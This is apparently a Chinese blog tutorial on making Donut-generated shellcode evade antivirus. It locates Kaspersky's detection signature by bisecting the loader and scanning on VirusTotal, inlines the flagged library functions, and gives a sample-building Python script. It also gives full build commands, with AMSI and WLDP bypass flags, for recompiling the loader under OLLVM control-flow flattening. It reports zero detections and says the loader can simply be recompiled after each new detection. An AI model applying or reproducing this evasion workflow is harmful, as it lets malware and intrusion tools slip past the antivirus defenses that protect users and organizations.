Donut生成的shellcode免杀
什么是Donut TheWover的Donut项目: https://github.com/TheWover/donut 其可将VBScript, JScript, EXE, DLL, .NET文件转为位置无关的shellcode。 其可将轻松将现有被杀的工具转换为shellcode,再通过shellcode加载技术、白+黑技术绕过AV。 为了免杀其shellcode,需要先分析生成流程和组成部分
什么是Donut
TheWover的Donut项目: https://github.com/TheWover/donut
其可将VBScript, JScript, EXE, DLL, .NET文件转为位置无关的shellcode。
其可将轻松将现有被杀的工具转换为shellcode,再通过shellcode加载技术、白+黑技术绕过AV。
为了免杀其shellcode,需要先分析生成流程和组成部分。
然而Donut生成的shellcode已经被以Kaspersky为首的各类杀软检测到
特别的有些杀软会检测内存中Donut的shellcode
对于frp这种需要一直运行的工具而言,运行一段时间后会因为内存检测而被杀掉进程
为了搞清楚杀软查杀特征,首先要做的就是分析Donut的shellcode。
shellcode生成流程和组成
代码见: https://github.com/TheWover/donut/blob/v1.0/donut.c#L1226
根据其代码,shellcode主要由3部分组成:
- 自定位汇编
- DONUT_INSTANCE结构数据
- LOADER
LOADER
其中LOADER是一个函数,通过传入参数DONUT_INSTANCE来加载dotnet、pe、script等
LOADER入口为: HANDLE DonutLoader(PDONUT_INSTANCE inst)
LOADER中分别实现了以下类型的内存加载
自定位汇编
以x86为例,自定位汇编如下:
CALL label
...(DONUT_INSTANCE)
label:
POP ecx
POP edx
PUSH ecx
PUSH edx
...(LOADER)
自定位汇编的作用:
- 通过CALL指令获取DONUT_INSTANCE的地址,保存在ecx中
- 调整栈,模拟调用
HANDLE DonutLoader(PDONUT_INSTANCE inst)
LOADER的免杀
以x86为例,LOADER的数据来自: loader_exe_x86.h
二分法定位查杀特征
将LOADER保存为data.bin,通过二分法,利用 https://www.virustotal.com 扫描查杀结果
| 文件名 | 是否被杀 | 说明 |
|---|---|---|
| data1.bin | 不杀 | data.bin的前一半 |
| data2.bin | 杀 | data.bin的后一半 |
| data21.bin | 不杀 | 依次类推 |
| data22.bin | 杀 | |
| data221.bin | 不杀 | |
| data222.bin | 杀 | |
| data2221.bin | 不杀 | |
| data2222.bin | 杀 | |
| data22221.bin | 不杀 | |
| data22222.bin | 杀 | |
| data222221.bin | 不杀 | |
| data222222.bin | 杀 | |
| data2222221.bin | 不杀 | |
| data2222222.bin | 杀 |
通过测试说明特征存在于data2222222.bin文件中,其内容hex如下
8B 54 24 0C 8B 44 24 04 56 8B F0 85 D2 74 13 57
8B 7C 24 10 2B F8 8A 0C 37 88 0E 46 83 EA 01 75
F5 5F 5E C3 8A 44 24 08 8B 4C 24 0C 57 8B 7C 24
08 F3 AA 8B 44 24 08 5F C3 8B 44 24 04 8B 4C 24
08 53 8A 10 84 D2 74 0E 8A 19 84 DB 74 08 3A D3
75 04 40 41 EB EC 0F BE 00 0F BE 09 2B C1 5B C3
查杀结果: 链接
可以看到Kaspersky和ZoneAlarm by Check Point会报HEUR:Trojan.Win64.Donut.a
进一步分析,对应Donut的源代码在clib.c中的Memcpy Memset _strcmp三个函数
通过inline字免杀Loader
由于杀软检测上述特征序列,所以将这三个函数通过inline方式嵌入调用者函数中
inline嵌入后,LOADER将不会有上述特征序列
修改代码
修改clib.c代码
inline void *Memset (void *ptr, int value, uint32_t num)
// ...
inline void *Memcpy (void *destination, const void *source, uint32_t num)
// ...
inline int _strcmp(const char *str1, const char *str2)
// ...
修改loader.c,直接包含clib.c
#include "loader.h"
#include "clib.c" // <-- 添加这行
DWORD MainProc(PDONUT_INSTANCE inst);
// ...
重新生成loader_exe_x86.h
安装VS2022,打开x86 Native Tools Command Prompt for VS 2022,进入Donut源码目录
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c
cl -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
exe2h.exe loader.exe
命令对应说明
- 生成exe2h.exe
- 编译LOADER
- 链接LOADER
- 通过exe2h.exe将loader.exe转换为
loader_exe_x86.h
再次将LOADER保存为文件,查杀结果为0/58,查杀报告链接
至此LOADER的免杀就完成,但重新编译donut.exe后,再次生成shellcode查杀还有问题
Kaspersky和ZoneAlarm by Check Point会报HEUR:Trojan.Win64.Donut.b
特征名称发生了变化,从HEUR:Trojan.Win64.Donut.a变成了HEUR:Trojan.Win64.Donut.b
新特征的免杀
分析新特征
根据前文的分析,编写样本生成脚本
import re
from io import BytesIO
from pathlib import Path
def get_loader():
data = Path('loader_exe_x86.h').read_text('ascii')
return bytes.fromhex("".join(re.findall(r'0x([0-9a-f]{2})', data)))
def build_loader(data: bytes, noeip=False):
writer = BytesIO()
if noeip:
writer.write(b'\x90') # nop
else:
writer.write(b'\xe8') # call $+datalen
writer.write(int.to_bytes(len(data), 4, 'big'))
writer.write(data)
if noeip:
writer.write(b'\x90' * 4)
else:
writer.write(b'\x59') # pop ecx
writer.write(b'\x5a') # pop edx
writer.write(b'\x51') # push ecx
writer.write(b'\x52') # push edx
writer.write(get_loader()) # LOADER
return writer.getvalue()
Path('test.bin').write_bytes(get_loader())
Path('test1.bin').write_bytes(build_loader(b'\x90'))
Path('test2.bin').write_bytes(build_loader(b'\x90', noeip=True))
Path('test3.bin').write_bytes(build_loader(b'\x90' * 100))
Path('test4.bin').write_bytes(build_loader(b'\x90' * 100, noeip=True))
Path('test5.bin').write_bytes(build_loader(b'\x90' * 1024 * 1024))
Path('test6.bin').write_bytes(build_loader(b'\x90' * 1024 * 1024, noeip=True))
测试结果如下:
| 文件名 | 是否被杀 | 说明 | 报告 |
|---|---|---|---|
| test.bin | 否 | LOADER | 报告 |
| test1.bin | 是 | 自定位+nop+LOADER | 报告 |
| test2.bin | 否 | nop+nop+LOADER | 报告 |
| test3.bin | 是 | 自定位+nop*100+LOADER | 报告 |
| test4.bin | 否 | nop+nop*100+LOADER | 报告 |
| test5.bin | 否 | nop+nop10241024+LOADER | 报告 |
| test6.bin | 否 | nop+nop10241024+LOADER | 报告 |
通过测试结果可以得到以下结论
- LOADER 不杀
- 自定位 + LOADER 的组合会被杀,但当数据长度超过1024*1024时,就不会被杀
新特征免杀思路
- 强行将data数据(DONUT_INSTANCE结构)扩大到1M
- 将会增加shellcode的体积,另外如果杀软更新特征检测距离还是会被杀
- 修改自定位的汇编指令
- x86下只能通过call来自定位,即使变形,杀软也可以根据变形增加新的检测特征
- 定位组合特征到底什么,再进行修改
- 如前文二分法,时间成本高,需要大量测试
有没有办法一劳永逸的解决组合特征问题?
考虑到新特征是自定位+LOADER组合,在不修改自定位的情况下,只能想办法抹除LOADER的特征
在有源码的情况,想到可以考虑使用OLLVM混淆LOADER
OLLVM混淆LOADER
OLLVM中控制流平坦化是一种常用的代码控制流混淆技术,它通过将程序的控制流程转换为一个平坦的结构,使得代码的执行路径变得难以预测和理解。控制流平坦化技术通常使用控制流图和状态机来表示程序的控制流程,然后通过一系列转换和重排操作,将程序的控制流程转换为一个平坦的结构。
详见: https://github.com/obfuscator-llvm/obfuscator/wiki/Control-Flow-Flattening
流程平坦特性通过scrambling_key随机种子来平坦代码块,这意味每次编译将产生不同的LOADER,在下次杀软检测后只需要重新编译一次LOADER即可。
OLLVM重新编译LOADER
llvm不支持__stosb宏,需要修改clib.c的Memset函数
inline void *Memset (void *ptr, int value, uint32_t num) {
unsigned char *p = (unsigned char*)ptr;
while(num--) {
*p = (unsigned char)value;
p++;
}
return ptr;
}
为了方便的使用ollvm,我使用了https://github.com/wwh1004/ollvm-16/releases,作者将llvm升级到16,并预编译了clang-cl.exe
将clang-cl.exe放入Donut源码目录,安装VS2022,打开x86 Native Tools Command Prompt for VS 2022,进入Donut源码目录
生成loader_exe_x86.h
.\clang-cl.exe --target=i686-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
.\exe2h.exe .\loader.exe
此时用IDA打开loader.exe,可以看到如下图所示的流程图。

生成loader_exe_x64.h
注意需要从VS目录复制chkstk.obj到Donut源码目录
.\clang-cl.exe --target=x86_64-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj chkstk.obj
.\exe2h.exe .\loader.exe
生成包含OLLVM版LOADER的donut.exe
rc include/donut.rc
.\clang-cl.exe --target=i686-w64-windows-msvc -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib include/donut.res
再次使用donut.exe生成shellcode,已经没有任何杀软查杀了

@1565106197702216 @1073499081093905 @qiushi****
已适配1.0,修改的代码和编译步骤见:
https://github.com/howmp/donut_ollvm/